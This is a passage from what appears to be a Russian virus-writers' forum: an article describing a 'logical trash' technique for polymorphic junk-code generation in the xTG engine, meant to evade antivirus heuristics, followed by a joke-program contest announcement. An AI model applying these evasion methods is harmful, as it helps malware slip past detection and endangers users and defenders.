--------------------------------------------------------------------------------------------------------------
+ множество различных команд (использующих регистры, адреса памяти и т.п.), функции (с прологами/резервированием стэка/эпилогами etc и команды с использованием локальных переменных, входящих параметров), winapi и другие;
--------------------------------------------------------------------------------------------------------------
+ "правильная" статистика частоты встречаемости опкодов (собираем стату в обычных прогах и используем её; для более точного результата можно собирать стату только в файлах, собранных выбранным ранее компилером);
--------------------------------------------------------------------------------------------------------------
+ нормальная энтропия (в битах ~ [5.5; 6.8]; кстати, энтропия будет примерно в заданном диапазоне, если генерить "правильный" код + использовать стату встречи опкодов (сюда можно добавить и логику команд));
--------------------------------------------------------------------------------------------------------------
+ только живой код (который может выполниться);
--------------------------------------------------------------------------------------------------------------
+ etc;
--------------------------------------------------------------------------------------------------------------

Но даже такой трэш-код, построенный с учётом данных пунктов, может легко ловиться эвристикой.

Полезный мусор

Основная засада в том, что мусорный код - это только мусор, набор бесполезных инструкций. В этом и кроются причины гнева эвристиков. А раз так, значит трэш должен стать полезным. Для этого надо реализовать ещё 2 задачи:

-------------------------------------------------------------------------------------------------------------
1. полезный код должен использовать результат работы трэш-кода (или наоборот, трэш-код должен как-либо повлиять на работу полезного кода) aka "псевдо-цель";
-------------------------------------------------------------------------------------------------------------
2. "LOGICAL TRASH" technique;
-------------------------------------------------------------------------------------------------------------

Первый пункт в общем случае реализуется довольно просто: генерируем мусор, запускаем его на выполнение, и после отработки трэша полученный результат используем в полезном коде. Например, сгенерировали такой код:

Код:
mov	eax, 100
mov	ecx, eax
sub	ecx, 95

После его выполнения ECX = 5. И данное значение можно добавить к ключу для расшифровки вирусного кода (применений куча).
Однако, сгенерированный трэш-код может быть и таким:

Код:
mov	eax, 100;1
mov	ecx, eax;2
mov	ecx, eax;3
mov	ecx, eax;4
sub	ecx, 95	;5

После его выполения ECX также равно 5. Но команды 2 и 3 выдают себя с потрохами, за что будут наказаны эвристикой. Решение состоит в построении "логичного" мусора.

"LOGICAL TRASH" technique

Идея заключается в том, чтобы мусорный код сделать логичным, подобно логике кода обычных программ. Нормальный код вначале инициализирует параметры (регистры, локальные переменные etc); затем выполняет команды, использующие и/или как-либо влияющие на эти параметры. Причём команды являются одним целым - выполняют общую задачу, и среди них нет лишних - мусорных. Нет повторных инициализаций, использования и обращения к (значениям) неинициализированным параметрам. Все инструкции связаны друг с другом, каждая влияет на дальнейший ход выполнения кода.

Примерно такую логику я реализовал в новой версии своего движка xTG (v2.0.0), который работает по следующей схеме:

ef98453d250e.png



Распишем подробно:

----------------------------------------------------------------------------------------------------------
I.вначале, конечно же, вызываем модуль генерации команд;
----------------------------------------------------------------------------------------------------------
II. генерируем "правильную" команду: правильные опкоды и остальные байты. Да, кстати, если разработанный двигатель логики (ДЛ) будет применяться к сторонним трэшгенам (или другим движкам), то ДЛ также должен проверять, правильно ли построена команда (aka проверка на уровне байтов);
----------------------------------------------------------------------------------------------------------
III.вызываем модуль логики, передавая в него адрес только что созданной команды;
----------------------------------------------------------------------------------------------------------
IV. за дело принимается парсер команд. Парсер может быть функцей, являющейся частью модуля логики, а может быть и отдельным самодостаточным движком (дизасм). Первый случай хорошо подходит, если модуль логики является частью генератора мусора. Тогда в функции парсера будут разобраны только те команды, которые может генерировать двигл. Второй случай хорошо подходит, если модуль логики является самостоятельным движком. И при этом мы не знаем, какие команды могут генерироваться.

Парсер выясняет, какая перед ним команда, и получает её параметры (операнды: регистры, адреса etc) - в соответствии с этим сохраняет в некоторую структуру данные параметры и выставляет определённые флаги. Заполненная структура будет использоваться анализатором команд (об этом ниже). Также, например, если встретилась команда mov ecx, dword ptr [403008h] и т.п., тогда парсер заменит адрес 403008h на другой, соответствующий ему адрес в выделенной памяти для корректной эмуляции команды;
----------------------------------------------------------------------------------------------------------
V.затем эмулируем (скорректированную) команду. Эмуль, по аналогии с парсером, может быть как встроенной функцией в модуле логики, так и полноценным движком-пирожком;

Эмуль получает адрес команды, подготавливает специальную среду, копирует туда команду и эмулирует. Причём эмуляция может быть как минимум 3-х видов: прямой запуск в специальной среде, полная имитация выполнения команды и сочетание этих двух методов (для большинства команд хватает 1-ого метода). Результат эмуляции (текущие значения параметров команды и др.) сохраняем в переменных: виртуальных регистрах и др.

Кстати, эмуль - козырная технология для вирей, с помощью которой можно творить очень интересные темы (для UEP'a, виртуальных машин, "logical trash" tech, морфинга и прочих вкусностей);
----------------------------------------------------------------------------------------------------------
VI. и после вызываем анализатор команд/корректор логики. Анализатор, по аналогии с парсером и эмулем, может быть как встроенной функцией в модуле логике, так и полноценным двиглом;

Анализатор, на основе данных от парсера (заполненная структура) и эмуля, решает, подходит ли команда по логике или нет.

Анализ команды проходит в 2 этапа:

1. Проверка параметров команды.

Сначала анализатор должен понять, какие есть параметры, и как их проверять. Для этого он использует флаги, переданные парсером. Набор флагов может быть такой:

--------------------------------------------------------------------------------------------------------
Код:
LGC_INSTR_INIT	equ	00000000000000000000000000000001b;команда инициализации параметров; 
LGC_INSTR_CHG	equ	00000000000000000000000000000010b;команда изменения параметров; 
LGC_P1_DST	equ	00000000000000000000000000000100b;первый парам - приёмник
LGC_P1_SRC	equ	00000000000000000000000000001000b;первый парам - источник
LGC_P2_DST	equ	00000000000000000000000000010000b;второй парам - приёмник
LGC_P2_SRC	equ	00000000000000000000000000100000b;второй парам - источник
LGC_P1_REG	equ	00000000000000000000000001000000b;первый парам - регистр
LGC_P1_ADDR	equ	00000000000000000000000010000000b;первый парам - адрес
LGC_P1_NUM	equ	00000000000000000000000100000000b;первый парам - число
LGC_P2_REG	equ	00000000000000000000001000000000b;второй парам - регистр
LGC_P2_ADDR	equ	00000000000000000000010000000000b;второй парам - адрес
LGC_P2_NUM	equ	00000000000000000000100000000000b;второй парам - число
--------------------------------------------------------------------------------------------------------

Этими флагами можно описать почти все инструкции (некоторые флаги можно убрать). Если инструкция содержит больше 2 параметров, тогда остальные хранятся в отдельном поле.

Далее, по флагам определяется, что и как чекать: проверки на возможность инициализации параметров, на изменение их значений, на использование их в других командах и многое другое. Результат каждой проверки заносится в маски. Их 2: regs_init & regs_used. Грубо говоря, это 2 dword'a, где каждый бит соответствует определённому параметру (например, какому-то регистру). Причём, биты в regs_init показывают, можно ли инициализировать параметр или нет (защита от повторной инициализации). А по битам в regs_used узнаём, можно ли вообще использовать параметр в командах или нет.

2. Проверка состояний параметров команды

Итак, если первый этап пройден, то это означает, что параметры годные. Продолжим.

Состояние - это некоторое сохранённое значение, которое принимал параметр. Состояния всех параметров хранятся в таблице состояний, которая представляет собой буфер определённого размера.

Значит, анализатор берёт текущее значение параметра, которое мы получили с помощью эмуляции (и сохранили, например, в виртуальном регистре), и сверяет его со всеми накопленными состояниями данного параметра.
Если совпадение найдено, тогда команду считаем мусорной, проверка не пройдена. В этом случае из таблицы состояний берём последнее сохранённое состояние данного параметра и делаем его текущим (сохраняем это состояние в виртуальном регистре); а также восстановим маски на предыдущие значения. Если совпадение не найдено - значит это новое состояние параметра, команда прошла проверку. Добавляем это значение в таблицу состояний;
----------------------------------------------------------------------------------------------------------
VII.переходим снова в модуль генерации команд. Смотрим, какое значение вернул нам модуль логики: если 0, тогда команда не подходит по логике - по её же адресу сгенерируем новую команду (перезапишем).
Прыгаем на пункт II. если 1, тогда команда подходит по логике. Прыгаем на пункт VIII.
----------------------------------------------------------------------------------------------------------
VIII. увеличиваем адрес (для генерации новой команды) на размер проверенной команды. И выясним: если мы сгенерировали нужное количество байтов, тогда прыгаем на пункт IX. Если не все, тогда на пункт II.
----------------------------------------------------------------------------------------------------------
IX. выходим;
----------------------------------------------------------------------------------------------------------

Примеры генерации простого мусора

19c374ac2dc9.png


------------------------------------------------------------------------------------------------------------------------
В примере 1.1 первые 2 команды нормальные, а третья - мусорная. Регистр EDI инициализировать можно, но он примет такое же значение, какое имеет сейчас - ненужная инициализация. Пример 2.1 (и все остальные в дальнейшем) показывает правильный вариант инициализации.
------------------------------------------------------------------------------------------------------------------------
В примере 1.2 первые 3 команды правильные, а 4-ая - мусорная. Регистры EAX & ECX снова примут значения, которые уже имели (проверка состояний параметров).
------------------------------------------------------------------------------------------------------------------------
В примере 1.3 первые 2 команды правильные, а 3-я - мусорная. EDI += 0 (проверка состояний);
------------------------------------------------------------------------------------------------------------------------
в примере 1.4 первые 3 команды правильные, а 4-я - мусорная. Регистр EDX нельзя инициализировать, если он прежде не повлиял на значение другого параметра (проверка параметров);
------------------------------------------------------------------------------------------------------------------------
в примере 1.5 первые 4 команды правильные, а 5-ая - мусорная. После выполнения первых 4-x команд состояния регистра EAX будут такие: 1000, 999. А после выполнения 5-ой команды EAX = 1000. Такое состояние уже было (проверка состояний параметров).
------------------------------------------------------------------------------------------------------------------------

Позитив =)

Реализацию техники "логичного мусора", наглядные примеры генерации трэш-кода, а также более полное понимание задумки - всё это ты найдешь в сорцах xTG v2.0.0.

Следует сказать, что в xTG наиболее лучшее качество логики получается при генерации линейного трэш-кода без winapi-функций.
В остальных случаях логика будет нечёткой, но будет: на ветвлениях и с винапишками. Это связано с модулем логики - чем он мощнее, тем качественней выхлоп.

Если же не устраивает логика каких-либо инструкций, достаточно просто установить другие флаги.

Также, возможен вариант применения логики для уже сгенерированного кода. Однако искомый код может быть на 100% отличный от исходного.

Используя данную технику, наш мусор становится полезным и логичным, что позволяет довольно эффективно обходить эвристику. И только комплексное применение техник воплотят наши желания в реальность. Ура!

Используемая инфа

1. beauty on the fire "Эмуляция программного кода", 2004, http://uinc.ru/articles/47/
2. beauty on the fire "Анализаторы кода в антивирусах", 2004, http://uinc.ru/articles/45/
3. Sl0n "Полиморфизм. Новые техники", 2004, http://vx.netlux.org/lib/vsl05.html

[ + ]
август, 2011

m1x
pr0mix@mail.ru
EOF

вирмэйкинг для себя...искусство вечно

Автор pr0mix
p.s. by Ar3s статья опубликована с просьбы автора. Это первая публикация у нас на форуме. Прошу отнестить с пониманием и поддержать материал обсуждениями. Спасибо.
 
sehtest_fuer_programmierer_121535.jpg
Официально объявляется конкурс на звание самого смекалистого программиста.

Задание:
- Написать программу-шутку размером не больше 4кб.

Условия:
- Упаковывать программу можно.
- Язык программирования: не важен, хоть на маш. коде пишите smile.gif
- Платформа: Windows.
- Сроки сдачи: 27.09.2011 - 04.10.2011
- Ваши программки слать мне в пм Ar3s.

По мере поступления программы будут просматривать на виртуалке. К каждому присланному файлу желательно видеть пояснение в чем его особенность, и где та самая шутка. В конце месяца будет назначено жюри из числа не участвующих в конкурсе.

Призы:
Помимо звания "самого смекалистого и смешного программиста" будут добавлены призы от меня лично. Поверьте, в обиде не останется никто.
 
Статус
Закрыто для дальнейших ответов.
Верх